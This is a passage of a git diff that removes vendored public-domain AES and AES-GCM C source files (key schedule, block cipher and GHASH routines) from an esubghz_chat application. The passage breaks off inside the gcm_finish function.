switch(ctx->rounds) {
|
||||
case 10:
|
||||
for(i = 0; i < 10; i++, RK += 4) {
|
||||
RK[4] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[3] >> 8) & 0xFF]) ^
|
||||
((uint32_t)FSb[(RK[3] >> 16) & 0xFF] << 8) ^
|
||||
((uint32_t)FSb[(RK[3] >> 24) & 0xFF] << 16) ^
|
||||
((uint32_t)FSb[(RK[3]) & 0xFF] << 24);
|
||||
|
||||
RK[5] = RK[1] ^ RK[4];
|
||||
RK[6] = RK[2] ^ RK[5];
|
||||
RK[7] = RK[3] ^ RK[6];
|
||||
}
|
||||
break;
|
||||
|
||||
case 12:
|
||||
for(i = 0; i < 8; i++, RK += 6) {
|
||||
RK[6] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[5] >> 8) & 0xFF]) ^
|
||||
((uint32_t)FSb[(RK[5] >> 16) & 0xFF] << 8) ^
|
||||
((uint32_t)FSb[(RK[5] >> 24) & 0xFF] << 16) ^
|
||||
((uint32_t)FSb[(RK[5]) & 0xFF] << 24);
|
||||
|
||||
RK[7] = RK[1] ^ RK[6];
|
||||
RK[8] = RK[2] ^ RK[7];
|
||||
RK[9] = RK[3] ^ RK[8];
|
||||
RK[10] = RK[4] ^ RK[9];
|
||||
RK[11] = RK[5] ^ RK[10];
|
||||
}
|
||||
break;
|
||||
|
||||
case 14:
|
||||
for(i = 0; i < 7; i++, RK += 8) {
|
||||
RK[8] = RK[0] ^ RCON[i] ^ ((uint32_t)FSb[(RK[7] >> 8) & 0xFF]) ^
|
||||
((uint32_t)FSb[(RK[7] >> 16) & 0xFF] << 8) ^
|
||||
((uint32_t)FSb[(RK[7] >> 24) & 0xFF] << 16) ^
|
||||
((uint32_t)FSb[(RK[7]) & 0xFF] << 24);
|
||||
|
||||
RK[9] = RK[1] ^ RK[8];
|
||||
RK[10] = RK[2] ^ RK[9];
|
||||
RK[11] = RK[3] ^ RK[10];
|
||||
|
||||
RK[12] = RK[4] ^ ((uint32_t)FSb[(RK[11]) & 0xFF]) ^
|
||||
((uint32_t)FSb[(RK[11] >> 8) & 0xFF] << 8) ^
|
||||
((uint32_t)FSb[(RK[11] >> 16) & 0xFF] << 16) ^
|
||||
((uint32_t)FSb[(RK[11] >> 24) & 0xFF] << 24);
|
||||
|
||||
RK[13] = RK[5] ^ RK[12];
|
||||
RK[14] = RK[6] ^ RK[13];
|
||||
RK[15] = RK[7] ^ RK[14];
|
||||
}
|
||||
break;
|
||||
|
||||
default:
|
||||
return -1;
|
||||
}
|
||||
return (0);
|
||||
}
|
||||
|
||||
#if AES_DECRYPTION // whether AES decryption is supported
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* AES_SET_DECRYPTION_KEY
|
||||
*
|
||||
* This is called by 'aes_setkey' when we're establishing a
|
||||
* key for subsequent decryption. We give it a pointer to
|
||||
* the encryption context, a pointer to the key, and the key's
|
||||
* length in bits. Valid lengths are: 128, 192, or 256 bits.
|
||||
*
|
||||
******************************************************************************/
|
||||
int aes_set_decryption_key(aes_context* ctx, const uchar* key, uint keysize) {
|
||||
int i, j;
|
||||
aes_context cty; // a calling aes context for set_encryption_key
|
||||
uint32_t* RK = ctx->rk; // initialize our RoundKey buffer pointer
|
||||
uint32_t* SK;
|
||||
int ret;
|
||||
|
||||
cty.rounds = ctx->rounds; // initialize our local aes context
|
||||
cty.rk = cty.buf; // round count and key buf pointer
|
||||
|
||||
if((ret = aes_set_encryption_key(&cty, key, keysize)) != 0) return (ret);
|
||||
|
||||
SK = cty.rk + cty.rounds * 4;
|
||||
|
||||
CPY128 // copy a 128-bit block from *SK to *RK
|
||||
|
||||
for(i = ctx->rounds - 1, SK -= 8; i > 0; i--, SK -= 8) {
|
||||
for(j = 0; j < 4; j++, SK++) {
|
||||
*RK++ = RT0[FSb[(*SK) & 0xFF]] ^ RT1[FSb[(*SK >> 8) & 0xFF]] ^
|
||||
RT2[FSb[(*SK >> 16) & 0xFF]] ^ RT3[FSb[(*SK >> 24) & 0xFF]];
|
||||
}
|
||||
}
|
||||
CPY128 // copy a 128-bit block from *SK to *RK
|
||||
memset(&cty, 0, sizeof(aes_context)); // clear local aes context
|
||||
return (0);
|
||||
}
|
||||
|
||||
#endif /* AES_DECRYPTION */
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* AES_SETKEY
|
||||
*
|
||||
* Invoked to establish the key schedule for subsequent encryption/decryption
|
||||
*
|
||||
******************************************************************************/
|
||||
int aes_setkey(
|
||||
aes_context* ctx, // AES context provided by our caller
|
||||
int mode, // ENCRYPT or DECRYPT flag
|
||||
const uchar* key, // pointer to the key
|
||||
uint keysize) // key length in bytes
|
||||
{
|
||||
// since table initialization is not thread safe, we could either add
|
||||
// system-specific mutexes and init the AES key generation tables on
|
||||
// demand, or ask the developer to simply call "gcm_initialize" once during
|
||||
// application startup before threading begins. That's what we choose.
|
||||
if(!aes_tables_inited) return (-1); // fail the call when not inited.
|
||||
|
||||
ctx->mode = mode; // capture the key type we're creating
|
||||
ctx->rk = ctx->buf; // initialize our round key pointer
|
||||
|
||||
switch(keysize) // set the rounds count based upon the keysize
|
||||
{
|
||||
case 16:
|
||||
ctx->rounds = 10;
|
||||
break; // 16-byte, 128-bit key
|
||||
case 24:
|
||||
ctx->rounds = 12;
|
||||
break; // 24-byte, 192-bit key
|
||||
case 32:
|
||||
ctx->rounds = 14;
|
||||
break; // 32-byte, 256-bit key
|
||||
default:
|
||||
return (-1);
|
||||
}
|
||||
|
||||
#if AES_DECRYPTION
|
||||
if(mode == DECRYPT) // expand our key for encryption or decryption
|
||||
return (aes_set_decryption_key(ctx, key, keysize));
|
||||
else /* ENCRYPT */
|
||||
#endif /* AES_DECRYPTION */
|
||||
return (aes_set_encryption_key(ctx, key, keysize));
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* AES_CIPHER
|
||||
*
|
||||
* Perform AES encryption and decryption.
|
||||
* The AES context will have been setup with the encryption mode
|
||||
* and all keying information appropriate for the task.
|
||||
*
|
||||
******************************************************************************/
|
||||
int aes_cipher(aes_context* ctx, const uchar input[16], uchar output[16]) {
|
||||
int i;
|
||||
uint32_t *RK, X0, X1, X2, X3, Y0, Y1, Y2, Y3; // general purpose locals
|
||||
|
||||
RK = ctx->rk;
|
||||
|
||||
GET_UINT32_LE(X0, input, 0);
|
||||
X0 ^= *RK++; // load our 128-bit
|
||||
GET_UINT32_LE(X1, input, 4);
|
||||
X1 ^= *RK++; // input buffer in a storage
|
||||
GET_UINT32_LE(X2, input, 8);
|
||||
X2 ^= *RK++; // memory endian-neutral way
|
||||
GET_UINT32_LE(X3, input, 12);
|
||||
X3 ^= *RK++;
|
||||
|
||||
#if AES_DECRYPTION // whether AES decryption is supported
|
||||
|
||||
if(ctx->mode == DECRYPT) {
|
||||
for(i = (ctx->rounds >> 1) - 1; i > 0; i--) {
|
||||
AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
|
||||
AES_RROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3);
|
||||
}
|
||||
|
||||
AES_RROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
|
||||
|
||||
X0 = *RK++ ^ ((uint32_t)RSb[(Y0)&0xFF]) ^ ((uint32_t)RSb[(Y3 >> 8) & 0xFF] << 8) ^
|
||||
((uint32_t)RSb[(Y2 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y1 >> 24) & 0xFF] << 24);
|
||||
|
||||
X1 = *RK++ ^ ((uint32_t)RSb[(Y1)&0xFF]) ^ ((uint32_t)RSb[(Y0 >> 8) & 0xFF] << 8) ^
|
||||
((uint32_t)RSb[(Y3 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y2 >> 24) & 0xFF] << 24);
|
||||
|
||||
X2 = *RK++ ^ ((uint32_t)RSb[(Y2)&0xFF]) ^ ((uint32_t)RSb[(Y1 >> 8) & 0xFF] << 8) ^
|
||||
((uint32_t)RSb[(Y0 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y3 >> 24) & 0xFF] << 24);
|
||||
|
||||
X3 = *RK++ ^ ((uint32_t)RSb[(Y3)&0xFF]) ^ ((uint32_t)RSb[(Y2 >> 8) & 0xFF] << 8) ^
|
||||
((uint32_t)RSb[(Y1 >> 16) & 0xFF] << 16) ^ ((uint32_t)RSb[(Y0 >> 24) & 0xFF] << 24);
|
||||
} else /* ENCRYPT */
|
||||
{
|
||||
#endif /* AES_DECRYPTION */
|
||||
|
||||
for(i = (ctx->rounds >> 1) - 1; i > 0; i--) {
|
||||
AES_FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
|
||||
AES_FROUND(X0, X1, X2, X3, Y0, Y1, Y2, Y3);
|
||||
}
|
||||
|
||||
AES_FROUND(Y0, Y1, Y2, Y3, X0, X1, X2, X3);
|
||||
|
||||
X0 = *RK++ ^ ((uint32_t)FSb[(Y0)&0xFF]) ^ ((uint32_t)FSb[(Y1 >> 8) & 0xFF] << 8) ^
|
||||
((uint32_t)FSb[(Y2 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y3 >> 24) & 0xFF] << 24);
|
||||
|
||||
X1 = *RK++ ^ ((uint32_t)FSb[(Y1)&0xFF]) ^ ((uint32_t)FSb[(Y2 >> 8) & 0xFF] << 8) ^
|
||||
((uint32_t)FSb[(Y3 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y0 >> 24) & 0xFF] << 24);
|
||||
|
||||
X2 = *RK++ ^ ((uint32_t)FSb[(Y2)&0xFF]) ^ ((uint32_t)FSb[(Y3 >> 8) & 0xFF] << 8) ^
|
||||
((uint32_t)FSb[(Y0 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y1 >> 24) & 0xFF] << 24);
|
||||
|
||||
X3 = *RK++ ^ ((uint32_t)FSb[(Y3)&0xFF]) ^ ((uint32_t)FSb[(Y0 >> 8) & 0xFF] << 8) ^
|
||||
((uint32_t)FSb[(Y1 >> 16) & 0xFF] << 16) ^ ((uint32_t)FSb[(Y2 >> 24) & 0xFF] << 24);
|
||||
|
||||
#if AES_DECRYPTION // whether AES decryption is supported
|
||||
}
|
||||
#endif /* AES_DECRYPTION */
|
||||
|
||||
PUT_UINT32_LE(X0, output, 0);
|
||||
PUT_UINT32_LE(X1, output, 4);
|
||||
PUT_UINT32_LE(X2, output, 8);
|
||||
PUT_UINT32_LE(X3, output, 12);
|
||||
|
||||
return (0);
|
||||
}
|
||||
/* end of aes.c */
|
||||
80
applications/external/esubghz_chat/crypto/aes.h
vendored
@@ -1,80 +0,0 @@
|
||||
/******************************************************************************
|
||||
*
|
||||
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
|
||||
*
|
||||
* This is a simple and straightforward implementation of the AES Rijndael
|
||||
* 128-bit block cipher designed by Vincent Rijmen and Joan Daemen. The focus
|
||||
* of this work was correctness & accuracy. It is written in 'C' without any
|
||||
* particular focus upon optimization or speed. It should be endian (memory
|
||||
* byte order) neutral since the few places that care are handled explicitly.
|
||||
*
|
||||
* This implementation of Rijndael was created by Steven M. Gibson of GRC.com.
|
||||
*
|
||||
* It is intended for general purpose use, but was written in support of GRC's
|
||||
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
|
||||
*
|
||||
* See: http://csrc.nist.gov/archive/aes/rijndael/wsdindex.html
|
||||
*
|
||||
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
|
||||
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#ifndef AES_HEADER
|
||||
#define AES_HEADER
|
||||
|
||||
/******************************************************************************/
|
||||
#define AES_DECRYPTION 0 // whether AES decryption is supported
|
||||
/******************************************************************************/
|
||||
|
||||
#include <string.h>
|
||||
|
||||
#define ENCRYPT 1 // specify whether we're encrypting
|
||||
#define DECRYPT 0 // or decrypting
|
||||
|
||||
#if defined(_MSC_VER)
|
||||
#include <basetsd.h>
|
||||
typedef UINT32 uint32_t;
|
||||
#else
|
||||
#include <inttypes.h>
|
||||
#endif
|
||||
|
||||
typedef unsigned char uchar; // add some convienent shorter types
|
||||
typedef unsigned int uint;
|
||||
|
||||
/******************************************************************************
|
||||
* AES_INIT_KEYGEN_TABLES : MUST be called once before any AES use
|
||||
******************************************************************************/
|
||||
void aes_init_keygen_tables(void);
|
||||
|
||||
/******************************************************************************
|
||||
* AES_CONTEXT : cipher context / holds inter-call data
|
||||
******************************************************************************/
|
||||
typedef struct {
|
||||
int mode; // 1 for Encryption, 0 for Decryption
|
||||
int rounds; // keysize-based rounds count
|
||||
uint32_t* rk; // pointer to current round key
|
||||
uint32_t buf[68]; // key expansion buffer
|
||||
} aes_context;
|
||||
|
||||
/******************************************************************************
|
||||
* AES_SETKEY : called to expand the key for encryption or decryption
|
||||
******************************************************************************/
|
||||
int aes_setkey(
|
||||
aes_context* ctx, // pointer to context
|
||||
int mode, // 1 or 0 for Encrypt/Decrypt
|
||||
const uchar* key, // AES input key
|
||||
uint keysize); // size in bytes (must be 16, 24, 32 for
|
||||
// 128, 192 or 256-bit keys respectively)
|
||||
// returns 0 for success
|
||||
|
||||
/******************************************************************************
|
||||
* AES_CIPHER : called to encrypt or decrypt ONE 128-bit block of data
|
||||
******************************************************************************/
|
||||
int aes_cipher(
|
||||
aes_context* ctx, // pointer to context
|
||||
const uchar input[16], // 128-bit block to en/decipher
|
||||
uchar output[16]); // 128-bit output result block
|
||||
// returns 0 for success
|
||||
|
||||
#endif /* AES_HEADER */
|
||||
516
applications/external/esubghz_chat/crypto/gcm.c
vendored
@@ -1,516 +0,0 @@
|
||||
/******************************************************************************
|
||||
*
|
||||
* THIS SOURCE CODE IS HEREBY PLACED INTO THE PUBLIC DOMAIN FOR THE GOOD OF ALL
|
||||
*
|
||||
* This is a simple and straightforward implementation of AES-GCM authenticated
|
||||
* encryption. The focus of this work was correctness & accuracy. It is written
|
||||
* in straight 'C' without any particular focus upon optimization or speed. It
|
||||
* should be endian (memory byte order) neutral since the few places that care
|
||||
* are handled explicitly.
|
||||
*
|
||||
* This implementation of AES-GCM was created by Steven M. Gibson of GRC.com.
|
||||
*
|
||||
* It is intended for general purpose use, but was written in support of GRC's
|
||||
* reference implementation of the SQRL (Secure Quick Reliable Login) client.
|
||||
*
|
||||
* See: http://csrc.nist.gov/publications/nistpubs/800-38D/SP-800-38D.pdf
|
||||
* http://csrc.nist.gov/groups/ST/toolkit/BCM/documents/proposedmodes/
|
||||
* gcm/gcm-revised-spec.pdf
|
||||
*
|
||||
* NO COPYRIGHT IS CLAIMED IN THIS WORK, HOWEVER, NEITHER IS ANY WARRANTY MADE
|
||||
* REGARDING ITS FITNESS FOR ANY PARTICULAR PURPOSE. USE IT AT YOUR OWN RISK.
|
||||
*
|
||||
*******************************************************************************/
|
||||
|
||||
#include "gcm.h"
|
||||
#include "aes.h"
|
||||
|
||||
/******************************************************************************
|
||||
* ==== IMPLEMENTATION WARNING ====
|
||||
*
|
||||
* This code was developed for use within SQRL's fixed environmnent. Thus, it
|
||||
* is somewhat less "general purpose" than it would be if it were designed as
|
||||
* a general purpose AES-GCM library. Specifically, it bothers with almost NO
|
||||
* error checking on parameter limits, buffer bounds, etc. It assumes that it
|
||||
* is being invoked by its author or by someone who understands the values it
|
||||
* expects to receive. Its behavior will be undefined otherwise.
|
||||
*
|
||||
* All functions that might fail are defined to return 'ints' to indicate a
|
||||
* problem. Most do not do so now. But this allows for error propagation out
|
||||
* of internal functions if robust error checking should ever be desired.
|
||||
*
|
||||
******************************************************************************/
|
||||
|
||||
/* Calculating the "GHASH"
|
||||
*
|
||||
* There are many ways of calculating the so-called GHASH in software, each with
|
||||
* a traditional size vs performance tradeoff. The GHASH (Galois field hash) is
|
||||
* an intriguing construction which takes two 128-bit strings (also the cipher's
|
||||
* block size and the fundamental operation size for the system) and hashes them
|
||||
* into a third 128-bit result.
|
||||
*
|
||||
* Many implementation solutions have been worked out that use large precomputed
|
||||
* table lookups in place of more time consuming bit fiddling, and this approach
|
||||
* can be scaled easily upward or downward as needed to change the time/space
|
||||
* tradeoff. It's been studied extensively and there's a solid body of theory and
|
||||
* practice. For example, without using any lookup tables an implementation
|
||||
* might obtain 119 cycles per byte throughput, whereas using a simple, though
|
||||
* large, key-specific 64 kbyte 8-bit lookup table the performance jumps to 13
|
||||
* cycles per byte.
|
||||
*
|
||||
* And Intel's processors have, since 2010, included an instruction which does
|
||||
* the entire 128x128->128 bit job in just several 64x64->128 bit pieces.
|
||||
*
|
||||
* Since SQRL is interactive, and only processing a few 128-bit blocks, I've
|
||||
* settled upon a relatively slower but appealing small-table compromise which
|
||||
* folds a bunch of not only time consuming but also bit twiddling into a simple
|
||||
* 16-entry table which is attributed to Victor Shoup's 1996 work while at
|
||||
* Bellcore: "On Fast and Provably Secure MessageAuthentication Based on
|
||||
* Universal Hashing." See: http://www.shoup.net/papers/macs.pdf
|
||||
* See, also section 4.1 of the "gcm-revised-spec" cited above.
|
||||
*/
|
||||
|
||||
/*
|
||||
* This 16-entry table of pre-computed constants is used by the
|
||||
* GHASH multiplier to improve over a strictly table-free but
|
||||
* significantly slower 128x128 bit multiple within GF(2^128).
|
||||
*/
|
||||
static const uint64_t last4[16] = {
|
||||
0x0000,
|
||||
0x1c20,
|
||||
0x3840,
|
||||
0x2460,
|
||||
0x7080,
|
||||
0x6ca0,
|
||||
0x48c0,
|
||||
0x54e0,
|
||||
0xe100,
|
||||
0xfd20,
|
||||
0xd940,
|
||||
0xc560,
|
||||
0x9180,
|
||||
0x8da0,
|
||||
0xa9c0,
|
||||
0xb5e0};
|
||||
|
||||
/*
|
||||
* Platform Endianness Neutralizing Load and Store Macro definitions
|
||||
* GCM wants platform-neutral Big Endian (BE) byte ordering
|
||||
*/
|
||||
#define GET_UINT32_BE(n, b, i) \
|
||||
{ \
|
||||
(n) = ((uint32_t)(b)[(i)] << 24) | ((uint32_t)(b)[(i) + 1] << 16) | \
|
||||
((uint32_t)(b)[(i) + 2] << 8) | ((uint32_t)(b)[(i) + 3]); \
|
||||
}
|
||||
|
||||
#define PUT_UINT32_BE(n, b, i) \
|
||||
{ \
|
||||
(b)[(i)] = (uchar)((n) >> 24); \
|
||||
(b)[(i) + 1] = (uchar)((n) >> 16); \
|
||||
(b)[(i) + 2] = (uchar)((n) >> 8); \
|
||||
(b)[(i) + 3] = (uchar)((n)); \
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_INITIALIZE
|
||||
*
|
||||
* Must be called once to initialize the GCM library.
|
||||
*
|
||||
* At present, this only calls the AES keygen table generator, which expands
|
||||
* the AES keying tables for use. This is NOT A THREAD-SAFE function, so it
|
||||
* MUST be called during system initialization before a multi-threading
|
||||
* environment is running.
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_initialize(void) {
|
||||
aes_init_keygen_tables();
|
||||
return (0);
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_MULT
|
||||
*
|
||||
* Performs a GHASH operation on the 128-bit input vector 'x', setting
|
||||
* the 128-bit output vector to 'x' times H using our precomputed tables.
|
||||
* 'x' and 'output' are seen as elements of GCM's GF(2^128) Galois field.
|
||||
*
|
||||
******************************************************************************/
|
||||
static void gcm_mult(
|
||||
gcm_context* ctx, // pointer to established context
|
||||
const uchar x[16], // pointer to 128-bit input vector
|
||||
uchar output[16]) // pointer to 128-bit output vector
|
||||
{
|
||||
int i;
|
||||
uchar lo, hi, rem;
|
||||
uint64_t zh, zl;
|
||||
|
||||
lo = (uchar)(x[15] & 0x0f);
|
||||
hi = (uchar)(x[15] >> 4);
|
||||
zh = ctx->HH[lo];
|
||||
zl = ctx->HL[lo];
|
||||
|
||||
for(i = 15; i >= 0; i--) {
|
||||
lo = (uchar)(x[i] & 0x0f);
|
||||
hi = (uchar)(x[i] >> 4);
|
||||
|
||||
if(i != 15) {
|
||||
rem = (uchar)(zl & 0x0f);
|
||||
zl = (zh << 60) | (zl >> 4);
|
||||
zh = (zh >> 4);
|
||||
zh ^= (uint64_t)last4[rem] << 48;
|
||||
zh ^= ctx->HH[lo];
|
||||
zl ^= ctx->HL[lo];
|
||||
}
|
||||
rem = (uchar)(zl & 0x0f);
|
||||
zl = (zh << 60) | (zl >> 4);
|
||||
zh = (zh >> 4);
|
||||
zh ^= (uint64_t)last4[rem] << 48;
|
||||
zh ^= ctx->HH[hi];
|
||||
zl ^= ctx->HL[hi];
|
||||
}
|
||||
PUT_UINT32_BE(zh >> 32, output, 0);
|
||||
PUT_UINT32_BE(zh, output, 4);
|
||||
PUT_UINT32_BE(zl >> 32, output, 8);
|
||||
PUT_UINT32_BE(zl, output, 12);
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_SETKEY
|
||||
*
|
||||
* This is called to set the AES-GCM key. It initializes the AES key
|
||||
* and populates the gcm context's pre-calculated HTables.
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_setkey(
|
||||
gcm_context* ctx, // pointer to caller-provided gcm context
|
||||
const uchar* key, // pointer to the AES encryption key
|
||||
const uint keysize) // size in bytes (must be 16, 24, 32 for
|
||||
// 128, 192 or 256-bit keys respectively)
|
||||
{
|
||||
int ret, i, j;
|
||||
uint64_t hi, lo;
|
||||
uint64_t vl, vh;
|
||||
unsigned char h[16];
|
||||
|
||||
memset(ctx, 0, sizeof(gcm_context)); // zero caller-provided GCM context
|
||||
memset(h, 0, 16); // initialize the block to encrypt
|
||||
|
||||
// encrypt the null 128-bit block to generate a key-based value
|
||||
// which is then used to initialize our GHASH lookup tables
|
||||
if((ret = aes_setkey(&ctx->aes_ctx, ENCRYPT, key, keysize)) != 0) return (ret);
|
||||
if((ret = aes_cipher(&ctx->aes_ctx, h, h)) != 0) return (ret);
|
||||
|
||||
GET_UINT32_BE(hi, h, 0); // pack h as two 64-bit ints, big-endian
|
||||
GET_UINT32_BE(lo, h, 4);
|
||||
vh = (uint64_t)hi << 32 | lo;
|
||||
|
||||
GET_UINT32_BE(hi, h, 8);
|
||||
GET_UINT32_BE(lo, h, 12);
|
||||
vl = (uint64_t)hi << 32 | lo;
|
||||
|
||||
ctx->HL[8] = vl; // 8 = 1000 corresponds to 1 in GF(2^128)
|
||||
ctx->HH[8] = vh;
|
||||
ctx->HH[0] = 0; // 0 corresponds to 0 in GF(2^128)
|
||||
ctx->HL[0] = 0;
|
||||
|
||||
for(i = 4; i > 0; i >>= 1) {
|
||||
uint32_t T = (uint32_t)(vl & 1) * 0xe1000000U;
|
||||
vl = (vh << 63) | (vl >> 1);
|
||||
vh = (vh >> 1) ^ ((uint64_t)T << 32);
|
||||
ctx->HL[i] = vl;
|
||||
ctx->HH[i] = vh;
|
||||
}
|
||||
for(i = 2; i < 16; i <<= 1) {
|
||||
uint64_t *HiL = ctx->HL + i, *HiH = ctx->HH + i;
|
||||
vh = *HiH;
|
||||
vl = *HiL;
|
||||
for(j = 1; j < i; j++) {
|
||||
HiH[j] = vh ^ ctx->HH[j];
|
||||
HiL[j] = vl ^ ctx->HL[j];
|
||||
}
|
||||
}
|
||||
return (0);
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM processing occurs four phases: SETKEY, START, UPDATE and FINISH.
|
||||
*
|
||||
* SETKEY:
|
||||
*
|
||||
* START: Sets the Encryption/Decryption mode.
|
||||
* Accepts the initialization vector and additional data.
|
||||
*
|
||||
* UPDATE: Encrypts or decrypts the plaintext or ciphertext.
|
||||
*
|
||||
* FINISH: Performs a final GHASH to generate the authentication tag.
|
||||
*
|
||||
******************************************************************************
|
||||
*
|
||||
* GCM_START
|
||||
*
|
||||
* Given a user-provided GCM context, this initializes it, sets the encryption
|
||||
* mode, and preprocesses the initialization vector and additional AEAD data.
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_start(
|
||||
gcm_context* ctx, // pointer to user-provided GCM context
|
||||
int mode, // GCM_ENCRYPT or GCM_DECRYPT
|
||||
const uchar* iv, // pointer to initialization vector
|
||||
size_t iv_len, // IV length in bytes (should == 12)
|
||||
const uchar* add, // ptr to additional AEAD data (NULL if none)
|
||||
size_t add_len) // length of additional AEAD data (bytes)
|
||||
{
|
||||
int ret; // our error return if the AES encrypt fails
|
||||
uchar work_buf[16]; // XOR source built from provided IV if len != 16
|
||||
const uchar* p; // general purpose array pointer
|
||||
size_t use_len; // byte count to process, up to 16 bytes
|
||||
size_t i; // local loop iterator
|
||||
|
||||
// since the context might be reused under the same key
|
||||
// we zero the working buffers for this next new process
|
||||
memset(ctx->y, 0x00, sizeof(ctx->y));
|
||||
memset(ctx->buf, 0x00, sizeof(ctx->buf));
|
||||
ctx->len = 0;
|
||||
ctx->add_len = 0;
|
||||
|
||||
ctx->mode = mode; // set the GCM encryption/decryption mode
|
||||
ctx->aes_ctx.mode = ENCRYPT; // GCM *always* runs AES in ENCRYPTION mode
|
||||
|
||||
if(iv_len == 12) { // GCM natively uses a 12-byte, 96-bit IV
|
||||
memcpy(ctx->y, iv, iv_len); // copy the IV to the top of the 'y' buff
|
||||
ctx->y[15] = 1; // start "counting" from 1 (not 0)
|
||||
} else // if we don't have a 12-byte IV, we GHASH whatever we've been given
|
||||
{
|
||||
memset(work_buf, 0x00, 16); // clear the working buffer
|
||||
PUT_UINT32_BE(iv_len * 8, work_buf, 12); // place the IV into buffer
|
||||
|
||||
p = iv;
|
||||
while(iv_len > 0) {
|
||||
use_len = (iv_len < 16) ? iv_len : 16;
|
||||
for(i = 0; i < use_len; i++) ctx->y[i] ^= p[i];
|
||||
gcm_mult(ctx, ctx->y, ctx->y);
|
||||
iv_len -= use_len;
|
||||
p += use_len;
|
||||
}
|
||||
for(i = 0; i < 16; i++) ctx->y[i] ^= work_buf[i];
|
||||
gcm_mult(ctx, ctx->y, ctx->y);
|
||||
}
|
||||
if((ret = aes_cipher(&ctx->aes_ctx, ctx->y, ctx->base_ectr)) != 0) return (ret);
|
||||
|
||||
ctx->add_len = add_len;
|
||||
p = add;
|
||||
while(add_len > 0) {
|
||||
use_len = (add_len < 16) ? add_len : 16;
|
||||
for(i = 0; i < use_len; i++) ctx->buf[i] ^= p[i];
|
||||
gcm_mult(ctx, ctx->buf, ctx->buf);
|
||||
add_len -= use_len;
|
||||
p += use_len;
|
||||
}
|
||||
return (0);
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_UPDATE
|
||||
*
|
||||
* This is called once or more to process bulk plaintext or ciphertext data.
|
||||
* We give this some number of bytes of input and it returns the same number
|
||||
* of output bytes. If called multiple times (which is fine) all but the final
|
||||
* invocation MUST be called with length mod 16 == 0. (Only the final call can
|
||||
* have a partial block length of < 128 bits.)
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_update(
|
||||
gcm_context* ctx, // pointer to user-provided GCM context
|
||||
size_t length, // length, in bytes, of data to process
|
||||
const uchar* input, // pointer to source data
|
||||
uchar* output) // pointer to destination data
|
||||
{
|
||||
int ret; // our error return if the AES encrypt fails
|
||||
uchar ectr[16]; // counter-mode cipher output for XORing
|
||||
size_t use_len; // byte count to process, up to 16 bytes
|
||||
size_t i; // local loop iterator
|
||||
|
||||
ctx->len += length; // bump the GCM context's running length count
|
||||
|
||||
while(length > 0) {
|
||||
// clamp the length to process at 16 bytes
|
||||
use_len = (length < 16) ? length : 16;
|
||||
|
||||
// increment the context's 128-bit IV||Counter 'y' vector
|
||||
for(i = 16; i > 12; i--)
|
||||
if(++ctx->y[i - 1] != 0) break;
|
||||
|
||||
// encrypt the context's 'y' vector under the established key
|
||||
if((ret = aes_cipher(&ctx->aes_ctx, ctx->y, ectr)) != 0) return (ret);
|
||||
|
||||
// encrypt or decrypt the input to the output
|
||||
if(ctx->mode == ENCRYPT) {
|
||||
for(i = 0; i < use_len; i++) {
|
||||
// XOR the cipher's ouptut vector (ectr) with our input
|
||||
output[i] = (uchar)(ectr[i] ^ input[i]);
|
||||
// now we mix in our data into the authentication hash.
|
||||
// if we're ENcrypting we XOR in the post-XOR (output)
|
||||
// results, but if we're DEcrypting we XOR in the input
|
||||
// data
|
||||
ctx->buf[i] ^= output[i];
|
||||
}
|
||||
} else {
|
||||
for(i = 0; i < use_len; i++) {
|
||||
// but if we're DEcrypting we XOR in the input data first,
|
||||
// i.e. before saving to ouput data, otherwise if the input
|
||||
// and output buffer are the same (inplace decryption) we
|
||||
// would not get the correct auth tag
|
||||
|
||||
ctx->buf[i] ^= input[i];
|
||||
|
||||
// XOR the cipher's ouptut vector (ectr) with our input
|
||||
output[i] = (uchar)(ectr[i] ^ input[i]);
|
||||
}
|
||||
}
|
||||
gcm_mult(ctx, ctx->buf, ctx->buf); // perform a GHASH operation
|
||||
|
||||
length -= use_len; // drop the remaining byte count to process
|
||||
input += use_len; // bump our input pointer forward
|
||||
output += use_len; // bump our output pointer forward
|
||||
}
|
||||
return (0);
|
||||
}
|
||||
|
||||
/******************************************************************************
|
||||
*
|
||||
* GCM_FINISH
|
||||
*
|
||||
* This is called once after all calls to GCM_UPDATE to finalize the GCM.
|
||||
* It performs the final GHASH to produce the resulting authentication TAG.
|
||||
*
|
||||
******************************************************************************/
|
||||
int gcm_finish(
|
||||
gcm_context* ctx, // pointer to user-provided GCM context
|
||||
uchar* tag, // pointer to buffer which receives the tag
|
||||
size_t tag_len) // length, in bytes, of the tag-receiving buf
|
||||
{
|
||||
uchar work_buf[16];
|
||||
uint64_t orig_len = ctx->len * 8;
|
||||
